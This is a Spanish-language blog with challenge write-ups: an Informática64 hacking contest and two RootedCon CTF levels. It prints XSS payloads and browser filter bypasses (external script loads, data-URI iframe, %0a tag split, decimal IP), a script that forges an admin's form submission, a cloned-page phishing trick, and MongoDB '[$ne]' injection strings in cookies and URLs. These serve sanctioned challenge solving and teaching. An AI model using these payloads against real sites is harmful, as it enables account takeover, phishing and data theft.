Cuando me registré y vi los logos de Google Chrome, Firefox e Internet Explorer, empecé a olerme (supongo que como todo el mundo) que se trataba de un reto basado en vulnerabilidades XSS, pues tenía toda la pinta de que el reto iba de saltarse algo en los 3 navegadores. Así que un buen comienzo, antes de empezar el reto, es leerse bien los solucionarios del BrowserSchool, escritos por Beni (buena pieza este Beni, jeje):

http://elladodelmal.blogspot.com/2010/03/solucionario-reto-browserschool-i-de-ii.html

http://elladodelmal.blogspot.com/2010/03/solucionario-reto-browserschool-ii-de.html

2- Análisis del reto

Ya pagué la novatada en el reto de BrowserSchool y me puse a probar a lo loco sin entender la dinámica del reto y, en ese caso, creo que no pasé más que un navegador; así que esta vez, me lo tomé con más calma y me leí y releí la ayuda del concurso y, me tomé mi tiempo en pensar cual era la finalidad de todo esto, antes de empezar a mandar y sufrir la larga espera de cada validación.

Tenemos 3 puertas que dan acceso a 3 salas diferentes. Cada una gestionada por un administrador, el cual usa diferente navegador para gestionar las incidencias de los usuarios.

Nosotros no tenemos acceso ya que desconocemos las claves de las salas pero, según la ayuda, el administrador es capaz de entrar a su sala sin necesidad de introducir clave alguna. Esto es importante ya que sabemos que no hay que robar ninguna clave sino que todo apunta a que hay que hacerse pasar por administrador para entrar.

Lo que nos aparece al entrar en la sala de validación es esto:

3- Fase I

Voy a escribir la solución de cada navegador por orden, tal y como yo lo pasé.

El primero en caer fue Firefox. Creo que está más que demostrado que ante errores de XSS es de los más permisivos y, por tanto, es al que más fácilmente se la podemos colar.

Analizando la página de acceso (inicioReto.aspx) vemos que al pinchar en una de las puertas se recarga la página y nos carga nuestro ID de usuario en la URL (en mi caso, inicioReto.aspx?idUsuario=950e8c2b-3a74-4f24-a809-40d32a9f73b6) y también vemos que ese ID de usuario se escribe abajo del todo. Si probamos vemos enseguida que existe una vulnerabilidad XSS. Por ejemplo:

inicioReto.aspx?idUsuario=xxx<script>alert(‘XSS’)</script>

Por supuesto, todas estas pruebas las realicé desde un Firefox, ya que, como dije, es el más permisivo en cuando a XSS.

Por otro lado, si mandamos alguna incidencia vemos que nos llega una copia del mail que recibe el administrador. En este mail viene nuestro usuario, la descripción de la incidencia y un link hacia inicioReto.aspx. En ese link viene asociado nuestro ID de usuario.

Si mandamos otra incidencia de prueba y la capturamos, por ejemplo, con el TamperData, vemos:

Ese enlace que le llega es lo que aparece en el campo ctl00%24cph2%24tbUrl. Por tanto, podemos tratar de meter algo para que al pinchar, y acceder a la web, explote la vulnerabilidad XSS que hemos encontrado.

En un principio pensé que había que robar la cookie del administrador para luego acceder nosotros manualmente con esa cookie y estuve probando algunas inyecciones en las que trataba de robar esa cookie. La forma de hacerlo fue intentando enviar un document.cookie hacia mi máquina, pero no tuve éxito.

Pensando un poco en lo que ponía en la ayuda, acerca de que el administrador entraba de forma automática, pensé que igual se podía hacer justamente al contrario, es decir, si el admin entra de forma automática, inyectarle a él mis datos para que entre usando su cookie pero con mi ID de usuario. Y así fue como ocurrió.

Si vemos el código fuente de la página nos encontramos con un campo llamado ctl00$cph2$hfidUsuario que contiene nuestro ID de usuario. El admin al entrar en la página, evidentemente tendrá el suyo. Por tanto, lo que vamos a tratar de hacer es cambiarlo para que acceda a la web con el nuestro y acto seguido, hacer un submit para que acceda, de forma automática, por la puerta correspondiente (recordemos que el admin NO necesita validación, por lo que un simple submit hará que pase por la puerta sin tener que escribir su clave de acceso).

Ahora el tema está en cómo saltar los filtros de cada navegador para poder hacer esto.

3.1- Mozilla Firefox v4.0.1

En el caso de Firefox no hizo falta saltarse ningún filtro, ya que directamente, no hay. Sólo había que ingeniarse una forma de acceder engañando al admin. Y la solución, tras varias pruebas, fue mandando en el campo ctl00%24cph2%24tbUrl esto:

http://rhinfiltrados.informatica64.com/inicioReto.aspx?idUsuario=950e8c2b-3a74-4f24-a809-40d32a9f73b6

Para que se vea mejor, voy a desglosar el script que inyecté:

<script type="text/javascript"><!--mce:0--></script>


Lo que hace esto es lo que he comentado antes, cambiamos el valor del ID de usuario por el nuestro y luego ejecutamos el submit. Y para que el script se ejecute al cargar la página, lo invocamos con un BODY ONLOAD.

3.2- Google Chrome v11.0.696.65

El segundo en caer fue Chrome. Aquí encontré una solución que yo creo que es válida, pero que no se tomó como buena en las repetidas veces que lo intenté mandar. A ver si Chema me explica porqué no iba }:->

Una vez entendida la dinámica tras superar el obstáculo usando Firefox, ya tenemos clara la finalidad y lo que tenemos que hacer, por lo que antes de mandar a lo loco incidencias, tenemos que probar a ejecutar, sin mandar incidencias, un simple alert usando Chrome. La cosa no fue fácil ya que trae un filtro anti-XSS, pero bueno, encontré googleando varias formas de saltárselo y una de ellas es cargando un fichero externo, tal que así:

<script src=http://url/file.js?

Y metiendo en file.js un alert, por ejemplo (sin poner las etiquetas de script):

alert(‘XSS’)

Como ya tenemos una forma de inyectar, el siguiente paso es probar a cambiar el ID de usuario y hacer el submit. Por lo que file.js quedaría así:

function f()

{

document.aspnetForm.ctl00$cph2$hfidUsuario.value=’950e8c2b-3a74-4f24-a809-40d32a9f73b6′;

document.aspnetForm.submit();

}

window.onload=f;

Esto dio bastante guerra ya que no terminaba de funcionar. Así que puse un alert delante y otro detrás y vi que se ejecutaba el primero pero no el segundo. Mirando con la consola de Chrome, aparecía un error diciendo que ctl00$cph2$hfidUsuario no existía.

Obviamente, si inyectamos ese código en el que no cerramos el script, todo lo que hay detrás queda inservible. Por lo que una solución fue modificar el script para que creara de nuevo ese input, quedando el fichero así:

function newInput()

{

var inpt = document.createElement(‘input’);

inpt.type=”text”;

inpt.name=”ctl00_cph2_hfidUsuario”;

inpt.id=”ctl00$cph2$hfidUsuario”;

document.aspnetForm.appendChild(inpt);

document.aspnetForm.innerHTML+=”
”;

}

function f()

{

newInput();

document.aspnetForm.ctl00$cph2$hfidUsuario.value=’950e8c2b-3a74-4f24-a809- 40d32a9f73b6′;

document.aspnetForm.submit();

}

window.onload=f;

De esta forma ya no daba error y, al menos en el mail que yo recibía, iba todo bien, pero no me dieron por válida esta solución.

Así que probé otro método que encontré para saltar el filtro de Chrome y que consistía en usar iframes:

<iframe src=’data:text/html,<script src=http://url/file.js></script>

Que en local iba bien pero tampoco fue una solución válida.

A estas alturas y ya bastante desesperado, sobre todo pensando en que IE9 iba a ser mucho más difícil aún, lo que probé es a pasar el reto sin la necesidad de explotar ningún XSS, accediendo al eslabón más débil, el humano … y voilá!

La solución pasó por enviar en el campo ctl00%24cph2%24tbUrl http://url

Donde esa URL era una IP mía en la que había una copia exacta de inicioReto.aspx, con mi ID de usuario y añadiendo al final de la página:

<script type="text/javascript"><!--mce:1--></script>

3.3- Internet Explorer v9.0.8112.16421

Este reto lo pasé exactamente igual que con Chrome (supongo que con Firefox también se habría pasado sin problemas) aunque como estuve realizando las pruebas por la noche, con el reto cerrado y, al mismo tiempo que preparaba la inyección para el Chrome, hice algunas pruebas y, la forma de saltarse el filtro de IE9, al igual que IE8, es añadiendo un %0a en la etiqueta del script, algo así:

<sc%0aript>alert(‘XSS’)</script>

Estuve probando la técnica usada por Beni en el reto de BrowserSchool y que consistía en superponer una imagen exactamente igual a la que aparecía en el reto pero que al pincharla llevara a mi IP. Aquí me encontré el problema de que el filtro del IE9 elimina los puntos de las URLs así que para saltarlo use como URL el valor decimal de mi IP y al script quitarle el punto … algo así:

http://3232235876/filejs

En este caso, al contrario que en la técnica anterior, no se podía hacer un submit de forma automática y había que esperar a que el administrador pinchara en la puerta. Al final, esta solución tampoco me la dieron por buena.

Y como dije antes, la pasé exactamente igual que con Chrome.

Tras pasar los 3 navegadores, podemos ver algo así:

4- Fase II

Para mí esta fase fue más divertida que las anteriores, ya que odio los XSS jeje y además, no requería de ninguna validación por una persona física. Esto daba más libertad para realizar pruebas.

Que fuera más divertida no quiere decir que fuera más fácil :)

Al entrar en el reto vemos esto:

En la URL nos aparecen 2 parámetros (mail y app_hash) y al pinchar en el botón Entrar nos dice que el mail no corresponde con el hash.

La URL es esta:

http://rhinfiltrados.informatica64.com/F@S%E2%82%AC_TW0_INI.aspx?mail=CAoLAAIdARUWDhcGHCYAAhIdEwkOBwANB19YWhwEEA%3d%3d&app_hash=97c4655a4b1e7d07477a6c53a901bf691d9405a7

Y los parámetros:

mail=CAoLAAIdARUWDhcGHCYAAhIdEwkOBwANB19YWhwEEA==

app_hash=97c4655a4b1e7d07477a6c53a901bf691d9405a7

Aparentemente, tenemos que conseguir un mail que concuerde con un app_hash y, para ello, lo que vamos a hacer es analizar cada uno de los parámetros.

El mail es claramente un base64 que si hacemos un unbase64 vemos algo ilegible. Tras varias pruebas con los HEX obtenidos vi que aplicando un XOR con la palabra infiltrados aparecía algo que llamaba la atención:

unbase64(mail) XOR ‘infiltrados’

_XZ###strad##&####

Así que probé a concatenar la palabra:

unbase64(mail) XOR ‘infiltradosinfiltrados’

_XZ###strador@informat

Y con algunas pruebas más:

unbase64(mail) XOR ‘infiltradosinfiltradosinfiltrad’

administrador@informatica64.net

El sencillo script que usé fue (en perl, of course! :P ):

Supuestamente necesitaremos codificar nuestro mail (con el que nos registramos al reto) para poder validarnos correctamente, por lo que hacemos la operación inversa para calcular el base64 correspondiente, en este caso, al mail con el que me registré (pepeluxx@gmail.com) … menos mal que no usé ninguna dirección guarrona xDD

Bueno, pues el script que usé es:

Evidentemente, la palabra que se usa para hacer el XOR debe tener la misma longitud que mi mail. Y el resultado:

base64(mail XOR ‘infiltradosinfiltr’)

GrkWDAABChkkCB4IBwpHDxsf

El segundo parámetro, app_hash, podemos ver que tiene 40 bytes por lo que una posible codificación es SHA1 o RIPEMD160.

Preguntando el resto de participantes (el que no haya preguntado a nadie que tire la primera piedra xDD), vi que el mail era el mismo para todos pero el app_hash variaba. Cerrando sesión y volviendo a entrar siempre tenía el mismo hash. Incluso conectando desde otra IP, este no variaba. Eso me hizo pensar que tenía algo que ver con alguno de mis datos de registro.

De manera que probé a codificar cada uno de mis datos (nick, nombre, apellidos, mail, provincia, población, incluso el ID de usuario con y sin guiones). Lo probé con SHA1 y con RIPEMD160 al mismo tiempo que usaba el base664 correspondiente a mi mail. Intenté validar usando mi mail y ese hash resultante pero no hubo éxito.

Tras esto pensé en intentar averiguar cómo estaba formado ese hash, del mismo modo que hice con el mail. Así que me creé un script que probaba todas las combinaciones de mis datos de registro (solos, concatenados a dos, a tres, etc) y luego encriptando con ambos algoritmos y buscando como resultado el valor que no daba la URL. Tampoco hubo suerte.

El siguiente paso fue añadir al script un XOR de la palabra que le metiera como parámetro. Probé con infiltrado, informatica64, el nombre de la url, mis datos sueltos, concatenados, etc … nada

Luego probé lo mismo pero combinando un base64 y el XOR o el base64 sólo … nada de nada.

El caso es que enfoqué mal la forma de resolverlo y busqué obtener ese hash que tenía, cuando lo que debía haber hecho es probarlos directamente en la URL, ya que, al final, la solución era tan simple como rebuscada. El hash era:

SHA1(mi_id concatenado con mi_mail)

Por tanto, mi solución (diferente a la del resto de usuario, evidentemente) fue:

http://rhinfiltrados.informatica64.com/F@S%E2%82%AC_TW0_INI.aspx?mail=GrkWDAABChkkCB4IBwpHDxsf%3d&app_hash=7d33c26d2bb41d320e0331363c2c036f6c7de906

Donde:

mail=GrkWDAABChkkCB4IBwpHDxsf

app_hash=7d33c26d2bb41d320e0331363c2c036f6c7de906

Y al pasar el reto vemos:

5- Agradecimientos

Como siempre, ha sido un gran placer participar en el reto. A la gente que nos gusta jugar sabemos lo difícil y laborioso que es preparar este tipo de retos. Así que, enhorabuena y muchas gracias a Informática64 y en especial a Chema Alonso y sobre todo, al equipo de gente que ha estado validando todas nuestras pruebas (sois unos cracks!! xDDD).

También mi enhorabuena a todos los participantes, en especial a Yuri, que ya podía haberse centrado en el reto de Suiza xDDD (es broma), Nadid, danigargu, Budaned y Thanar.

Y como siempre, saludos para los más grandes! Okaboy, Kachakil, RoManSoft (nunca se si escribo bien las mayúsculas del nick), Miguel Gesteiro, Int3pids (el resto), PainSec, etc etc etc

Y otro saludo también a r0i, k4dm3l, ralcaz, marcositu, ….

Hasta el próximo!


RootedCon CTF writeup nivel 11

Viernes, mayo 13th, 2011

Reto 11

Ya que obtuvimos una IP en el anterior reto, lo primero es hacer un escaneo a ver que hay detrás:

Tras buscar información en Google vemos que se trata de un sistema SCADA:

——————–

Technical description for port 502:

Port 502 is a serial communications protocol also functioning as a programmable logic controller. It has become a de facto standard communications protocol in the information technology industry. Port 502 is now the most popular and most accessible way of networking industrial electronic devices. The port permits the communication between devices connected to the same network. For instance, a system that can measure humidity and temperature can be programmed to communicate the results to a computer. Port 502 is commonly used as a supervisory computer with a remote terminal unit (RTU) to supervisory control and data acquisition (SCADA) systems.

——————–

Según el puerto que está usando, parece que funciona usando el protocolo ModBus (http://es.wikipedia.org/wiki/Modbus). Tras buscar más información en Google di con un script (publicado en una DefCon) que, usando falsos positivos, es capaz de identificar los dispositivos que hay detrás:

http://code.google.com/p/modscan/

Esto nos indica que hay un único dispositivo cuyo SID es 20.

Tras probar, sin éxito, varias librerías de perl y python así como algunos clientes para Linux, intentando conectar con ModBus, al final me funcionó el SimpleModBusTCP (para Windows): http://www.simplymodbus.ca/download.htm

Escribimos la IP del reto y, como Slave ID ponemos 20.

Tras realizar varias pruebas conseguí obtener el resultado que se ve arriba:

>>> 00 02 00 00 00 06 14 01 00 00 00 0A

< 02 00 00 00 00 0D 14 01 43 4F 4E 47 52 41 54 55 4C 41

Que si pasamos de Hex a ASCII obtenemos esto:

#����

##CONGRATULA

Tras darle varias vueltas, al final resultó que en el campo No of regs indicas el número de bytes que deseas recibir. Así que lo incrementé a 50 y obtuve:

#����(##CONGRATULATIONS YOU FINISHED, THE PAS

Ya estamos más cerca!

Probé con 55 pero daba error así que bajé a 53:

Y ya se pudo leer la palabra completa:

#����8##CONGRATULATIONS YOU FINISHED, THE PASSWORD IS LIBERTY

La solución para pasar el reto es: LIBERTY


RootedCon CTF writeup nivel 10

Viernes, mayo 6th, 2011

Reto 10

Tras pasar el reto anterior, nos sale por pantalla lo siguiente:

Para poder continuar:

172.23.0.47

Así que hacemos un escaneo a ver qué se esconde tras esa IP:

Y nos encontramos con un HTTPS, así que toca conectarse a ver qué hay en esa web:

Editando el código fuente nos encontramos con una pista:

De forma que si probamos a validarnos como test / test accedemos a otra pantalla:

Analizando con el TamperData podemos ver algunas cosas curiosas:

Tenemos una cookie con 3 valores:

  • PHPSESSID=dg1ofke8qvedlrg0m9g408f5g0
  • tokenid=786aprxg87
  • raw=dGVzdA%3D%3D

Analicemos estos 3 valores:

  • PHPSESSID puede dar lugar a confusión por el nombre de la variable pero el valor que tiene no se corresponde a lo esperado para una variable de sesión, que es un MD5 de 32 bytes. Por tanto ese valor, que por cierto no siempre es el mismo, es bastante sospechoso al tratarse de un ASCII de 30 bytes.
  • tokenid de momento no se lo que es aunque por el nombre, parece tratarse el ID del mensaje que aparece en pantalla. Si lo quito no me aparecen las frases con las conversaciones.
  • raw es el nombre del usuario en Base64, pero aunque lo cambiemos no hace nada diferente.

Una vez validados, por mucho que recarguemos o toquemos las cookies (siempre que no se altere PHPSESSID) lo que nos aparece siempre es:

Estuve buscando información sobre ‘Mongo‘ y me salía un mono. Luego estuve buscando información sobre ‘Mongo chat‘ y me salía una una web de contactos. Así que me quedé algo bloqueado hasta que Pablo, como pista, nos puso una referencia a una de las charlas de la Rooted (como estuve centrado en el CTF, la verdad es que no presté mucha atención a las charlas) acerca de MongoDB. Así que buscando información de nuevo di con esta web:

http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/

en la que explica cómo realizar inyecciones en este sistema:

De forma que, como podemos ver, si no está bien validado, es posible inyectar código y extraer datos.

Tras varias pruebas, al final conseguí inyectar en una de las cookies, concretamente en tokenid:

La cookie original es:

PHPSESSID=28gp5uagb1ou5q55cvbkb25uo7;

tokenid=786aprxg87;

raw=dGVzdA%3D%3D

que sustituimos por:

PHPSESSID=28gp5uagb1ou5q55cvbkb25uo7;

tokenid[$ne]=786aprxg87;

raw=YWRtaW4%3D

Lo que estamos diciéndole es que saque todas las tokenid menos la que hay por defecto. Además, cambiamos el raw escribiendo admin en lugar de test (sino da un error).

Como supuse, tokenid era el identificador del mensaje que aparecía por pantalla, esta vez salió:

Pinchando en el primer enlace vamos a:

https://172.23.0.47/index.php?drink=sunny&quantity=1

Donde aparece algo así:

A medida que vamos recargando, va decrementando el número de sunnys hasta que termina diciendo que hemos bebido demasiadas.

Con el segundo enlace ocurre algo similar pero con coffee:

https://172.23.0.47/index.php?drink=coffee&quantity=1

Si nos pasamos pidiendo cafés, por ejemplo poniendo quantity=999, nos aparece:

Finalmente inyectamos también en la URL, concretamente en la bebida (además de en la cookie):

https://172.23.0.47/index.php?drink[$ne]=coffee&quantity=1

Apareciendo:

Y si insistimos, sale nuestra solución del reto:


Para pasar el reto, introducimos la IP que nos aparece: 172.23.0.234